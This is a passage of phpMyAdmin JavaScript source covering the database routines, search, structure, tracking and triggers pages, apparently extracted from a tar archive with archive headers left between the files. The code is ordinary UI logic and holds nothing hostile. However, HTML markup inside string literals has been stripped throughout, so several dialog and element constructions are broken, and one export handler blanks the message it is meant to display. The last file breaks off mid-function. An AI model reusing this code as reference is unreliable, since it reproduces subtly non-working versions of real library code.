$table.find('select[name=item_returntype]'), $table.find('input[name=item_returnlength]'), $table.find('select[name=item_returnopts_text]'), $table.find('select[name=item_returnopts_num]') ); }); $(document).on('click', '#addRoutineParameterButton', function (event) { event.preventDefault(); /** * @var routine_params_table jQuery object containing the reference * to the routine parameters table */ const $routineParamsTable = $(this).closest('div.ui-dialog').find('.routine_params_table'); /** * @var new_param_row A string containing the HTML code for the * new row for the routine parameters table */ const newParamRow = DatabaseRoutines.paramTemplate.replace(/%s/g, $routineParamsTable.find('tr').length - 1); // Append the new row to the parameters table $routineParamsTable.append(newParamRow); // Make sure that the row is correctly shown according to the type of routine if ($(this).closest('div.ui-dialog').find('table.rte_table select[name=item_type]').val() === 'FUNCTION') { $('tr.routine_return_row').show(); $('td.routine_direction_cell').hide(); } /** * @var newrow jQuery object containing the reference to the newly * inserted row in the routine parameters table */ const $newrow = $(this).closest('div.ui-dialog').find('table.routine_params_table').find('tr').has('td').last(); // Enable/disable the 'options' dropdowns for parameters as necessary DatabaseRoutines.setOptionsForParameter( $newrow.find('select[name^=item_param_type]'), $newrow.find('input[name^=item_param_length]'), $newrow.find('select[name^=item_param_opts_text]'), $newrow.find('select[name^=item_param_opts_num]') ); }); $(document).on('click', 'a.routine_param_remove_anchor', function (event) { event.preventDefault(); $(this).parent().parent().remove(); // After removing a parameter, the indices of the name attributes in // the input fields lose the correct order and need to be reordered. DatabaseRoutines.reindexParameters(); }); }); src/database/search.js000066600000022114151724472050010715 0ustar00/** * JavaScript functions used on Database Search page * * @requires jQuery * @requires js/functions.js * * @package PhpMyAdmin */ /* global makeGrid */ // js/makegrid.js /** * AJAX script for the Database Search page. * * Actions ajaxified here: * Retrieve result of SQL query */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('database/search.js', function () { $('a.browse_results').off('click'); $('a.delete_results').off('click'); $('#buttonGo').off('click'); $('#togglesearchresultlink').off('click'); $('#togglequerybox').off('click'); $('#togglesearchformlink').off('click'); $('#select_all').off('click'); $('#unselect_all').off('click'); $(document).off('submit', '#db_search_form.ajax'); }); AJAX.registerOnload('database/search.js', function () { /** Hide the table link in the initial search result */ var icon = Functions.getImage('s_tbl', '', { 'id': 'table-image' }).toString(); $('#table-info').prepend(icon).hide(); /** Hide the browse and deleted results in the new search criteria */ $('#buttonGo').on('click', function () { $('#table-info').hide(); $('#browse-results').hide(); $('#sqlqueryform').hide(); $('#togglequerybox').hide(); }); /** * Prepare a div containing a link for toggle the search results */ $('#togglesearchresultsdiv') /** don't show it until we have results on-screen */ .hide(); /** * Changing the displayed text according to * the hide/show criteria in search result forms */ $('#togglesearchresultlink') .html(Messages.strHideSearchResults) .on('click', function () { var $link = $(this); $('#searchresults').slideToggle(); if ($link.text() === Messages.strHideSearchResults) { $link.text(Messages.strShowSearchResults); } else { $link.text(Messages.strHideSearchResults); } /** avoid default click action */ return false; }); /** * Prepare a div containing a link for toggle the search form, * otherwise it's incorrectly displayed after a couple of clicks */ $('#togglesearchformdiv') .hide(); // don't show it until we have results on-screen /** * Changing the displayed text according to * the hide/show criteria in search form */ $('#togglequerybox') .hide() .on('click', function () { var $link = $(this); $('#sqlqueryform').slideToggle('medium'); if ($link.text() === Messages.strHideQueryBox) { $link.text(Messages.strShowQueryBox); } else { $link.text(Messages.strHideQueryBox); } /** avoid default click action */ return false; }); /** don't show it until we have results on-screen */ /** * Changing the displayed text according to * the hide/show criteria in search criteria form */ $('#togglesearchformlink') .html(Messages.strShowSearchCriteria) .on('click', function () { var $link = $(this); $('#db_search_form').slideToggle(); if ($link.text() === Messages.strHideSearchCriteria) { $link.text(Messages.strShowSearchCriteria); } else { $link.text(Messages.strHideSearchCriteria); } /** avoid default click action */ return false; }); /* * Ajax Event handler for retrieving the results from a table */ $(document).on('click', 'a.browse_results', function (e) { e.preventDefault(); /** Hides the results shown by the delete criteria */ var $msg = Functions.ajaxShowMessage(Messages.strBrowsing, false); $('#sqlqueryform').hide(); $('#togglequerybox').hide(); /** Load the browse results to the page */ $('#table-info').show(); var tableName = $(this).data('table-name'); $('#table-link').attr({ 'href' : $(this).attr('href') }).text(tableName); var url = $(this).attr('href') + '#searchresults'; var browseSql = $(this).data('browse-sql'); var params = { 'ajax_request': true, 'is_js_confirmed': true, 'sql_query' : browseSql }; $.post(url, params, function (data) { if (typeof data !== 'undefined' && data.success) { $('#browse-results').html(data.message); Functions.ajaxRemoveMessage($msg); $('.table_results').each(function () { makeGrid(this, true, true, true, true); }); $('#browse-results').show(); Functions.highlightSql($('#browse-results')); $('html, body') .animate({ scrollTop: $('#browse-results').offset().top }, 1000); } else { Functions.ajaxShowMessage(data.error, false); } }); }); /* * Ajax Event handler for deleting the results from a table */ $(document).on('click', 'a.delete_results', function (e) { e.preventDefault(); /** Hides the results shown by the browse criteria */ $('#table-info').hide(); $('#sqlqueryform').hide(); $('#togglequerybox').hide(); /** Conformation message for deletion */ var msg = Functions.sprintf( Messages.strConfirmDeleteResults, $(this).data('table-name') ); if (confirm(msg)) { var $msg = Functions.ajaxShowMessage(Messages.strDeleting, false); /** Load the deleted option to the page*/ $('#sqlqueryform').html(''); var params = { 'ajax_request': true, 'is_js_confirmed': true, 'sql_query': $(this).data('delete-sql') }; var url = $(this).attr('href'); $.post(url, params, function (data) { if (typeof data === 'undefined' || !data.success) { Functions.ajaxShowMessage(data.error, false); return; } $('#sqlqueryform').html(data.sql_query); /** Refresh the search results after the deletion */ $('#buttonGo').trigger('click'); $('#togglequerybox').html(Messages.strHideQueryBox); /** Show the results of the deletion option */ $('#browse-results').hide(); $('#sqlqueryform').show(); $('#togglequerybox').show(); $('html, body') .animate({ scrollTop: $('#browse-results').offset().top }, 1000); Functions.ajaxRemoveMessage($msg); }); } }); /** * Ajax Event handler for retrieving the result of an SQL Query */ $(document).on('submit', '#db_search_form.ajax', function (event) { event.preventDefault(); if ($('#criteriaTables :selected').length === 0) { Functions.ajaxShowMessage(Messages.strNoTableSelected); return; } var $msgbox = Functions.ajaxShowMessage(Messages.strSearching, false); // jQuery object to reuse var $form = $(this); Functions.prepareForAjaxRequest($form); var url = $form.serialize() + CommonParams.get('arg_separator') + 'submit_search=' + $('#buttonGo').val(); $.post($form.attr('action'), url, function (data) { if (typeof data !== 'undefined' && data.success === true) { // found results $('#searchresults').html(data.message); $('#togglesearchresultlink') // always start with the Show message .text(Messages.strHideSearchResults); $('#togglesearchresultsdiv') // now it's time to show the div containing the link .show(); $('#searchresults').show(); $('#db_search_form') // workaround for Chrome problem (bug #3168569) .slideToggle() .hide(); $('#togglesearchformlink') // always start with the Show message .text(Messages.strShowSearchCriteria); $('#togglesearchformdiv') // now it's time to show the div containing the link .show(); } else { // error message (zero rows) $('#searchresults').html(data.error).show(); } Functions.ajaxRemoveMessage($msgbox); }); }); $('#select_all').on('click', function () { Functions.setSelectOptions('db_search', 'criteriaTables[]', true); return false; }); $('#unselect_all').on('click', function () { Functions.setSelectOptions('db_search', 'criteriaTables[]', false); return false; }); }); // end $() src/database/structure.js000066600000040641151724472050011515 0ustar00/** * @fileoverview functions used on the database structure page * @name Database Structure * * @requires jQuery * @requires jQueryUI * @required js/functions.js */ var DatabaseStructure = {}; /** * AJAX scripts for /database/structure * * Actions ajaxified here: * Drop Database * Truncate Table * Drop Table * */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('database/structure.js', function () { $(document).off('click', 'a.truncate_table_anchor.ajax'); $(document).off('click', 'a.drop_table_anchor.ajax'); $(document).off('click', '#real_end_input'); $(document).off('click', 'a.favorite_table_anchor.ajax'); $('a.real_row_count').off('click'); $('a.row_count_sum').off('click'); $('select[name=submit_mult]').off('change'); }); /** * Adjust number of rows and total size in the summary * when truncating, creating, dropping or inserting into a table */ DatabaseStructure.adjustTotals = function () { var byteUnits = [ Messages.strB, Messages.strKiB, Messages.strMiB, Messages.strGiB, Messages.strTiB, Messages.strPiB, Messages.strEiB ]; /** * @var $allTr jQuery object that references all the rows in the list of tables */ var $allTr = $('#tablesForm').find('table.data tbody').first().find('tr'); // New summary values for the table var tableSum = $allTr.length; var rowsSum = 0; var sizeSum = 0; var overheadSum = 0; var rowSumApproximated = false; $allTr.each(function () { var $this = $(this); var i; var tmpVal; // Get the number of rows for this SQL table var strRows = $this.find('.tbl_rows').text(); // If the value is approximated if (strRows.indexOf('~') === 0) { rowSumApproximated = true; // The approximated value contains a preceding ~ (Eg 100 --> ~100) strRows = strRows.substring(1, strRows.length); } strRows = strRows.replace(/[,.\s]/g, ''); var intRow = parseInt(strRows, 10); if (! isNaN(intRow)) { rowsSum += intRow; } // Extract the size and overhead var valSize = 0; var valOverhead = 0; var strSize = $this.find('.tbl_size span:not(.unit)').text().trim(); var strSizeUnit = $this.find('.tbl_size span.unit').text().trim(); var strOverhead = $this.find('.tbl_overhead span:not(.unit)').text().trim(); var strOverheadUnit = $this.find('.tbl_overhead span.unit').text().trim(); // Given a value and a unit, such as 100 and KiB, for the table size // and overhead calculate their numeric values in bytes, such as 102400 for (i = 0; i < byteUnits.length; i++) { if (strSizeUnit === byteUnits[i]) { tmpVal = parseFloat(strSize); valSize = tmpVal * Math.pow(1024, i); break; } } for (i = 0; i < byteUnits.length; i++) { if (strOverheadUnit === byteUnits[i]) { tmpVal = parseFloat(strOverhead); valOverhead = tmpVal * Math.pow(1024, i); break; } } sizeSum += valSize; overheadSum += valOverhead; }); // Add some commas for readability: // 1000000 becomes 1,000,000 var strRowSum = rowsSum + ''; var regex = /(\d+)(\d{3})/; while (regex.test(strRowSum)) { strRowSum = strRowSum.replace(regex, '$1' + ',' + '$2'); } // If approximated total value add ~ in front if (rowSumApproximated) { strRowSum = '~' + strRowSum; } // Calculate the magnitude for the size and overhead values var sizeMagnitude = 0; var overheadMagnitude = 0; while (sizeSum >= 1024) { sizeSum /= 1024; sizeMagnitude++; } while (overheadSum >= 1024) { overheadSum /= 1024; overheadMagnitude++; } sizeSum = Math.round(sizeSum * 10) / 10; overheadSum = Math.round(overheadSum * 10) / 10; // Update summary with new data var $summary = $('#tbl_summary_row'); $summary.find('.tbl_num').text(Functions.sprintf(Messages.strNTables, tableSum)); if (rowSumApproximated) { $summary.find('.row_count_sum').text(strRowSum); } else { $summary.find('.tbl_rows').text(strRowSum); } $summary.find('.tbl_size').text(sizeSum + ' ' + byteUnits[sizeMagnitude]); $summary.find('.tbl_overhead').text(overheadSum + ' ' + byteUnits[overheadMagnitude]); }; /** * Gets the real row count for a table or DB. * @param {object} $target Target for appending the real count value. */ DatabaseStructure.fetchRealRowCount = function ($target) { var $throbber = $('#pma_navigation').find('.throbber') .first() .clone() .css({ visibility: 'visible', display: 'inline-block' }) .on('click', false); $target.html($throbber); $.ajax({ type: 'GET', url: $target.attr('href'), cache: false, dataType: 'json', success: function (response) { if (response.success) { // If to update all row counts for a DB. if (response.real_row_count_all) { $.each(JSON.parse(response.real_row_count_all), function (index, table) { // Update each table row count. $('table.data td[data-table*="' + table.table + '"]') .text(table.row_count); } ); } // If to update a particular table's row count. if (response.real_row_count) { // Append the parent cell with real row count. $target.parent().text(response.real_row_count); } // Adjust the 'Sum' displayed at the bottom. DatabaseStructure.adjustTotals(); } else { Functions.ajaxShowMessage(Messages.strErrorRealRowCount); } }, error: function () { Functions.ajaxShowMessage(Messages.strErrorRealRowCount); } }); }; AJAX.registerOnload('database/structure.js', function () { /** * Event handler on select of "Make consistent with central list" */ $('select[name=submit_mult]').on('change', function (event) { var url = 'index.php?route=/database/structure'; var action = $(this).val(); if (action === 'make_consistent_with_central_list') { event.preventDefault(); event.stopPropagation(); $('#makeConsistentWithCentralListModal').modal('show').on('shown.bs.modal', function () { $('#makeConsistentWithCentralListContinue').on('click', function () { const $form = $('#tablesForm'); const argSep = CommonParams.get('arg_separator'); const data = $form.serialize() + argSep + 'ajax_request=true' + argSep + 'ajax_page_request=true'; Functions.ajaxShowMessage(); AJAX.source = $form; $.post( 'index.php?route=/database/structure/central-columns/make-consistent', data, AJAX.responseHandler ); $('#makeConsistentWithCentralListModal').modal('hide'); }); }); return; } if (action === 'copy_tbl' || action === 'add_prefix_tbl' || action === 'replace_prefix_tbl' || action === 'copy_tbl_change_prefix' ) { event.preventDefault(); event.stopPropagation(); if ($('input[name="selected_tbl[]"]:checked').length === 0) { return false; } var formData = $('#tablesForm').serialize(); var modalTitle = ''; if (action === 'copy_tbl') { url = 'index.php?route=/database/structure/copy-form'; modalTitle = Messages.strCopyTablesTo; } else if (action === 'add_prefix_tbl') { url = 'index.php?route=/database/structure/add-prefix'; modalTitle = Messages.strAddPrefix; } else if (action === 'replace_prefix_tbl') { url = 'index.php?route=/database/structure/change-prefix-form'; modalTitle = Messages.strReplacePrefix; } else if (action === 'copy_tbl_change_prefix') { url = 'index.php?route=/database/structure/change-prefix-form'; modalTitle = Messages.strCopyPrefix; } $.ajax({ type: 'POST', url: url, dataType: 'html', data: formData }).done(function (modalBody) { const bulkActionModal = $('#bulkActionModal'); bulkActionModal.on('show.bs.modal', function () { this.querySelector('.modal-title').innerText = modalTitle; this.querySelector('.modal-body').innerHTML = modalBody; }); bulkActionModal.modal('show').on('shown.bs.modal', function () { $('#bulkActionContinue').on('click', function () { $('#ajax_form').trigger('submit'); $('#bulkActionModal').modal('hide'); }); }); }); return; } if (action === 'analyze_tbl') { url = 'index.php?route=/table/maintenance/analyze'; } else if (action === 'sync_unique_columns_central_list') { url = 'index.php?route=/database/structure/central-columns/add'; } else if (action === 'delete_unique_columns_central_list') { url = 'index.php?route=/database/structure/central-columns/remove'; } else if (action === 'check_tbl') { url = 'index.php?route=/table/maintenance/check'; } else if (action === 'checksum_tbl') { url = 'index.php?route=/table/maintenance/checksum'; } else if (action === 'drop_tbl') { url = 'index.php?route=/database/structure/drop-form'; } else if (action === 'empty_tbl') { url = 'index.php?route=/database/structure/empty-form'; } else if (action === 'export') { url = 'index.php?route=/export/tables'; } else if (action === 'optimize_tbl') { url = 'index.php?route=/table/maintenance/optimize'; } else if (action === 'repair_tbl') { url = 'index.php?route=/table/maintenance/repair'; } else if (action === 'show_create') { url = 'index.php?route=/database/structure/show-create'; } else { $('#tablesForm').trigger('submit'); return; } var $form = $(this).parents('form'); var argsep = CommonParams.get('arg_separator'); var data = $form.serialize() + argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true'; Functions.ajaxShowMessage(); AJAX.source = $form; $.post(url, data, AJAX.responseHandler); }); /** * Ajax Event handler for 'Truncate Table' */ $(document).on('click', 'a.truncate_table_anchor.ajax', function (event) { event.preventDefault(); /** * @var $this_anchor Object referring to the anchor clicked */ var $thisAnchor = $(this); // extract current table name and build the question string /** * @var curr_table_name String containing the name of the table to be truncated */ var currTableName = $thisAnchor.parents('tr').children('th').children('a').text(); /** * @var question String containing the question to be asked for confirmation */ var question = Messages.strTruncateTableStrongWarning + ' ' + Functions.sprintf(Messages.strDoYouReally, 'TRUNCATE `' + Functions.escapeHtml(currTableName) + '`') + Functions.getForeignKeyCheckboxLoader(); $thisAnchor.confirm(question, $thisAnchor.attr('href'), function (url) { Functions.ajaxShowMessage(Messages.strProcessingRequest); var params = Functions.getJsConfirmCommonParam(this, $thisAnchor.getPostData()); $.post(url, params, function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxShowMessage(data.message); // Adjust table statistics var $tr = $thisAnchor.closest('tr'); $tr.find('.tbl_rows').text('0'); $tr.find('.tbl_size, .tbl_overhead').text('-'); DatabaseStructure.adjustTotals(); } else { Functions.ajaxShowMessage(Messages.strErrorProcessingRequest + ' : ' + data.error, false); } }); // end $.post() }, Functions.loadForeignKeyCheckbox); }); // end of Truncate Table Ajax action /** * Ajax Event handler for 'Drop Table' or 'Drop View' */ $(document).on('click', 'a.drop_table_anchor.ajax', function (event) { event.preventDefault(); var $thisAnchor = $(this); // extract current table name and build the question string /** * @var $curr_row Object containing reference to the current row */ var $currRow = $thisAnchor.parents('tr'); /** * @var curr_table_name String containing the name of the table to be truncated */ var currTableName = $currRow.children('th').children('a').text(); /** * @var is_view Boolean telling if we have a view */ var isView = $currRow.hasClass('is_view') || $thisAnchor.hasClass('view'); /** * @var question String containing the question to be asked for confirmation */ var question; if (! isView) { question = Messages.strDropTableStrongWarning + ' ' + Functions.sprintf(Messages.strDoYouReally, 'DROP TABLE `' + Functions.escapeHtml(currTableName) + '`'); } else { question = Functions.sprintf(Messages.strDoYouReally, 'DROP VIEW `' + Functions.escapeHtml(currTableName) + '`'); } question += Functions.getForeignKeyCheckboxLoader(); $thisAnchor.confirm(question, $thisAnchor.attr('href'), function (url) { var $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); var params = Functions.getJsConfirmCommonParam(this, $thisAnchor.getPostData()); $.post(url, params, function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxShowMessage(data.message); $currRow.hide('medium').remove(); DatabaseStructure.adjustTotals(); Navigation.reload(); Functions.ajaxRemoveMessage($msg); } else { Functions.ajaxShowMessage(Messages.strErrorProcessingRequest + ' : ' + data.error, false); } }); // end $.post() }, Functions.loadForeignKeyCheckbox); }); // end of Drop Table Ajax action // Calculate Real End for InnoDB /** * Ajax Event handler for calculating the real end for a InnoDB table * */ $(document).on('click', '#real_end_input', function (event) { event.preventDefault(); /** * @var question String containing the question to be asked for confirmation */ var question = Messages.strOperationTakesLongTime; $(this).confirm(question, '', function () { return true; }); return false; }); // end Calculate Real End for InnoDB // Add tooltip to favorite icons. $('.favorite_table_anchor').each(function () { Functions.tooltip( $(this), 'a', $(this).attr('title') ); }); // Get real row count via Ajax. $('a.real_row_count').on('click', function (event) { event.preventDefault(); DatabaseStructure.fetchRealRowCount($(this)); }); // Get all real row count. $('a.row_count_sum').on('click', function (event) { event.preventDefault(); DatabaseStructure.fetchRealRowCount($(this)); }); }); src/database/tracking.js000066600000007146151724472050011262 0ustar00/** * Unbind all event handlers before tearing down the page */ AJAX.registerTeardown('database/tracking.js', function () { $('body').off('click', '#trackedForm.ajax button[name="submit_mult"], #trackedForm.ajax input[name="submit_mult"]'); $('body').off('click', '#untrackedForm.ajax button[name="submit_mult"], #untrackedForm.ajax input[name="submit_mult"]'); $('body').off('click', 'a.delete_tracking_anchor.ajax'); }); /** * Bind event handlers */ AJAX.registerOnload('database/tracking.js', function () { var $versions = $('#versions'); $versions.find('tr').first().find('th').append($('
        ')); $versions.tablesorter({ sortList: [[1, 0]], headers: { 0: { sorter: false }, 2: { sorter: 'integer' }, 5: { sorter: false }, 6: { sorter: false }, 7: { sorter: false } } }); var $noVersions = $('#noversions'); $noVersions.find('tr').first().find('th').append($('
        ')); $noVersions.tablesorter({ sortList: [[1, 0]], headers: { 0: { sorter: false }, 2: { sorter: false } } }); var $body = $('body'); /** * Handles multi submit for tracked tables */ $body.on('click', '#trackedForm.ajax button[name="submit_mult"], #trackedForm.ajax input[name="submit_mult"]', function (e) { e.preventDefault(); var $button = $(this); var $form = $button.parent('form'); var argsep = CommonParams.get('arg_separator'); var submitData = $form.serialize() + argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true' + argsep + 'submit_mult=' + $button.val(); if ($button.val() === 'delete_tracking') { var question = Messages.strDeleteTrackingDataMultiple; $button.confirm(question, $form.attr('action'), function (url) { Functions.ajaxShowMessage(Messages.strDeletingTrackingData); AJAX.source = $form; $.post(url, submitData, AJAX.responseHandler); }); } else { Functions.ajaxShowMessage(); AJAX.source = $form; $.post($form.attr('action'), submitData, AJAX.responseHandler); } }); /** * Handles multi submit for untracked tables */ $body.on('click', '#untrackedForm.ajax button[name="submit_mult"], #untrackedForm.ajax input[name="submit_mult"]', function (e) { e.preventDefault(); var $button = $(this); var $form = $button.parent('form'); var argsep = CommonParams.get('arg_separator'); var submitData = $form.serialize() + argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true' + argsep + 'submit_mult=' + $button.val(); Functions.ajaxShowMessage(); AJAX.source = $form; $.post($form.attr('action'), submitData, AJAX.responseHandler); }); /** * Ajax Event handler for 'Delete tracking' */ $body.on('click', 'a.delete_tracking_anchor.ajax', function (e) { e.preventDefault(); var $anchor = $(this); var question = Messages.strDeleteTrackingData; $anchor.confirm(question, $anchor.attr('href'), function (url) { Functions.ajaxShowMessage(Messages.strDeletingTrackingData); AJAX.source = $anchor; var argSep = CommonParams.get('arg_separator'); var params = Functions.getJsConfirmCommonParam(this, $anchor.getPostData()); params += argSep + 'ajax_page_request=1'; $.post(url, params, AJAX.responseHandler); }); }); }); src/database/triggers.js000066600000062577151724472050011317 0ustar00AJAX.registerTeardown('database/triggers.js', function () { $(document).off('click', 'a.ajax.add_anchor, a.ajax.edit_anchor'); $(document).off('click', 'a.ajax.export_anchor'); $(document).off('click', '#bulkActionExportButton'); $(document).off('click', 'a.ajax.drop_anchor'); $(document).off('click', '#bulkActionDropButton'); }); const DatabaseTriggers = { /** * @var $ajaxDialog Query object containing the reference to the * dialog that contains the editor */ $ajaxDialog: null, /** * @var syntaxHiglighter Reference to the codemirror editor */ syntaxHiglighter: null, /** * Validate editor form fields. * * @return {bool} */ validate: function () { /** * @var $elm a jQuery object containing the reference * to an element that is being validated */ var $elm = null; // Common validation. At the very least the name // and the definition must be provided for an item $elm = $('table.rte_table').last().find('input[name=item_name]'); if ($elm.val() === '') { $elm.trigger('focus'); alert(Messages.strFormEmpty); return false; } $elm = $('table.rte_table').find('textarea[name=item_definition]'); if ($elm.val() === '') { if (this.syntaxHiglighter !== null) { this.syntaxHiglighter.focus(); } else { $('textarea[name=item_definition]').last().trigger('focus'); } alert(Messages.strFormEmpty); return false; } // The validation has so far passed, so now // we can validate item-specific fields. return this.validateCustom(); }, // end validate() /** * Validate custom editor form fields. * This function can be overridden by * other files in this folder * * @return {bool} */ validateCustom: function () { return true; }, // end validateCustom() exportDialog: function ($this) { var $msg = Functions.ajaxShowMessage(); if ($this.attr('id') === 'bulkActionExportButton') { var combined = { success: true, title: Messages.strExport, message: '', error: '' }; // export anchors of all selected rows var exportAnchors = $('input.checkall:checked').parents('tr').find('.export_anchor'); var count = exportAnchors.length; var returnCount = 0; var p = $.when(); exportAnchors.each(function () { var h = $(this).attr('href'); p = p.then(function () { return $.get(h, { 'ajax_request': true }, function (data) { returnCount++; if (data.success === true) { combined.message += '\n' + data.message + '\n'; if (returnCount === count) { showExport(combined); } } else { // complain even if one export is failing combined.success = false; combined.error += '\n' + data.error + '\n'; if (returnCount === count) { showExport(combined); } } }); }); }); } else { $.get($this.attr('href'), { 'ajax_request': true }, showExport); } Functions.ajaxRemoveMessage($msg); function showExport (data) { if (data.success === true) { Functions.ajaxRemoveMessage($msg); /** * @var buttonOptions Object containing options * for jQueryUI dialog buttons */ var buttonOptions = { [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-primary', }, }; buttonOptions[Messages.strClose].click = function () { $(this).dialog('close').remove(); }; /** * Display the dialog to the user */ data.message = ''; var $ajaxDialog = $('
        ' + data.message + '
        ').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 500, buttons: buttonOptions, title: data.title }); // Attach syntax highlighted editor to export dialog /** * @var $elm jQuery object containing the reference * to the Export textarea. */ var $elm = $ajaxDialog.find('textarea'); Functions.getSqlEditor($elm); } else { Functions.ajaxShowMessage(data.error, false); } } // end showExport() }, // end exportDialog() editorDialog: function (isNew, $this) { var that = this; /** * @var $edit_row jQuery object containing the reference to * the row of the the item being edited * from the list of items */ var $editRow = null; if ($this.hasClass('edit_anchor')) { // Remember the row of the item being edited for later, // so that if the edit is successful, we can replace the // row with info about the modified item. $editRow = $this.parents('tr'); } /** * @var $msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(); $.get($this.attr('href'), { 'ajax_request': true }, function (data) { if (data.success === true) { var buttonOptions = { [Messages.strGo]: { text: Messages.strGo, class: 'btn btn-primary', }, [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-secondary', }, }; // We have successfully fetched the editor form Functions.ajaxRemoveMessage($msg); // Now define the function that is called when // the user presses the "Go" button buttonOptions[Messages.strGo].click = function () { // Move the data from the codemirror editor back to the // textarea, where it can be used in the form submission. if (typeof CodeMirror !== 'undefined') { that.syntaxHiglighter.save(); } // Validate editor and submit request, if passed. if (that.validate()) { /** * @var data Form data to be sent in the AJAX request */ var data = $('form.rte_form').last().serialize(); $msg = Functions.ajaxShowMessage( Messages.strProcessingRequest ); var url = $('form.rte_form').last().attr('action'); $.post(url, data, function (data) { if (data.success === true) { // Item created successfully Functions.ajaxRemoveMessage($msg); Functions.slidingMessage(data.message); that.$ajaxDialog.dialog('close'); // If we are in 'edit' mode, we must // remove the reference to the old row. if (mode === 'edit' && $editRow !== null) { $editRow.remove(); } // Sometimes, like when moving a trigger from // a table to another one, the new row should // not be inserted into the list. In this case // "data.insert" will be set to false. if (data.insert) { // Insert the new row at the correct // location in the list of items /** * @var text Contains the name of an item from * the list that is used in comparisons * to find the correct location where * to insert a new row. */ var text = ''; /** * @var inserted Whether a new item has been * inserted in the list or not */ var inserted = false; $('table.data').find('tr').each(function () { text = $(this) .children('td') .eq(0) .find('strong') .text() .toUpperCase() .trim(); if (text !== '' && text > data.name) { $(this).before(data.new_row); inserted = true; return false; } }); if (! inserted) { // If we didn't manage to insert the row yet, // it must belong at the end of the list, // so we insert it there. $('table.data').append(data.new_row); } // Fade-in the new row $('tr.ajaxInsert') .show('slow') .removeClass('ajaxInsert'); } else if ($('table.data').find('tr').has('td').length === 0) { // If we are not supposed to insert the new row, // we will now check if the table is empty and // needs to be hidden. This will be the case if // we were editing the only item in the list, // which we removed and will not be inserting // something else in its place. $('table.data').hide('slow', function () { $('#nothing2display').show('slow'); }); } // Now we have inserted the row at the correct // position, but surely at least some row classes // are wrong now. So we will iterate through // all rows and assign correct classes to them /** * @var ct Count of processed rows */ var ct = 0; /** * @var rowclass Class to be attached to the row * that is being processed */ var rowclass = ''; $('table.data').find('tr').has('td').each(function () { rowclass = (ct % 2 === 0) ? 'odd' : 'even'; $(this).removeClass().addClass(rowclass); ct++; }); // If this is the first item being added, remove // the "No items" message and show the list. if ($('table.data').find('tr').has('td').length > 0 && $('#nothing2display').is(':visible') ) { $('#nothing2display').hide('slow', function () { $('table.data').show('slow'); }); } Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() } // end "if (that.validate())" }; // end of function that handles the submission of the Editor buttonOptions[Messages.strClose].click = function () { $(this).dialog('close'); }; /** * Display the dialog to the user */ that.$ajaxDialog = $('
        ' + data.message + '
        ').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 700, minWidth: 500, buttons: buttonOptions, // Issue #15810 - use button titles for modals (eg: new procedure) // Respect the order: title on href tag, href content, title sent in response title: $this.attr('title') || $this.text() || $(data.title).text(), modal: true, open: function () { $('#rteDialog').dialog('option', 'max-height', $(window).height()); if ($('#rteDialog').parents('.ui-dialog').height() > $(window).height()) { $('#rteDialog').dialog('option', 'height', $(window).height()); } $(this).find('input[name=item_name]').trigger('focus'); $(this).find('input.datefield').each(function () { Functions.addDatepicker($(this).css('width', '95%'), 'date'); }); $(this).find('input.datetimefield').each(function () { Functions.addDatepicker($(this).css('width', '95%'), 'datetime'); }); $.datepicker.initialized = false; }, close: function () { $(this).remove(); } }); /** * @var mode Used to remember whether the editor is in * "Edit" or "Add" mode */ var mode = 'add'; if ($('input[name=editor_process_edit]').length > 0) { mode = 'edit'; } // Attach syntax highlighted editor to the definition /** * @var elm jQuery object containing the reference to * the Definition textarea. */ var $elm = $('textarea[name=item_definition]').last(); var linterOptions = {}; linterOptions.triggerEditor = true; that.syntaxHiglighter = Functions.getSqlEditor($elm, {}, 'both', linterOptions); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.get() }, dropDialog: function ($this) { /** * @var $curr_row Object containing reference to the current row */ var $currRow = $this.parents('tr'); /** * @var question String containing the question to be asked for confirmation */ var question = $('
        ').text( $currRow.children('td').children('.drop_sql').html() ); // We ask for confirmation first here, before submitting the ajax request $this.confirm(question, $this.attr('href'), function (url) { /** * @var msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); var params = Functions.getJsConfirmCommonParam(this, $this.getPostData()); $.post(url, params, function (data) { if (data.success === true) { /** * @var $table Object containing reference * to the main list of elements */ var $table = $currRow.parent(); // Check how many rows will be left after we remove // the one that the user has requested us to remove if ($table.find('tr').length === 3) { // If there are two rows left, it means that they are // the header of the table and the rows that we are // about to remove, so after the removal there will be // nothing to show in the table, so we hide it. $table.hide('slow', function () { $(this).find('tr.even, tr.odd').remove(); $('.withSelected').remove(); $('#nothing2display').show('slow'); }); } else { $currRow.hide('slow', function () { $(this).remove(); // Now we have removed the row from the list, but maybe // some row classes are wrong now. So we will iterate // through all rows and assign correct classes to them. /** * @var ct Count of processed rows */ var ct = 0; /** * @var rowclass Class to be attached to the row * that is being processed */ var rowclass = ''; $table.find('tr').has('td').each(function () { rowclass = (ct % 2 === 1) ? 'odd' : 'even'; $(this).removeClass().addClass(rowclass); ct++; }); }); } // Get rid of the "Loading" message Functions.ajaxRemoveMessage($msg); // Show the query that we just executed Functions.slidingMessage(data.sql_query); Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() }); }, dropMultipleDialog: function ($this) { // We ask for confirmation here $this.confirm(Messages.strDropRTEitems, '', function () { /** * @var msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); // drop anchors of all selected rows var dropAnchors = $('input.checkall:checked').parents('tr').find('.drop_anchor'); var success = true; var count = dropAnchors.length; var returnCount = 0; dropAnchors.each(function () { var $anchor = $(this); /** * @var $curr_row Object containing reference to the current row */ var $currRow = $anchor.parents('tr'); 